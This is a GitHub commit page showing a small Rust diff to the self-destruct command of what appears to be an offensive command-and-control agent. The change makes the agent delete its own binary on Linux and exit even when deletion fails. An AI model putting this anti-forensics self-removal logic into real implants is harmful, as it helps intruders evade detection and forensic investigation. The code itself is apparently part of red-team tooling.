Skip to content

Commit

Permalink
Fix Linux selfdestruct edge case
Browse files Browse the repository at this point in the history
  • Loading branch information
mttaggart committed Aug 25, 2022
1 parent 7c09c9d commit 3fde232
Showing 1 changed file with 7 additions and 4 deletions.
11 changes: 7 additions & 4 deletions agent/src/cmd/selfdestruct.rs
Original file line number Diff line number Diff line change
Expand Up @@ -27,14 +27,17 @@ pub async fn handle() -> Result<String, Box<dyn Error>> {
.collect();

houdini::disappear_with_placeholder(rand_string);
// Shutdown agent
// In main.rs, shutdown::handle exits the current running process
notion_out!("[!] This agent will now self-destruct!\n[!] 3...2...1...💣💥!")
}

#[cfg(not(windows))] {
let running_agent: String = args().nth(0).unwrap();
remove_file(running_agent)?;
match remove_file(running_agent) {
Ok(_) => notion_out!("[!] This agent will now self-destruct!\n[!] 3...2...1...💣💥!"),
Err(_) => notion_out!("[!] Couldn't delete, but killing the process anyway.")
}
}

// Shutdown agent
// In main.rs, shutdown::handle exits the current running process
notion_out!("[!] This agent will now self-destruct!\n[!] 3...2...1...💣💥!")
}

0 comments on commit 3fde232

Please sign in to comment.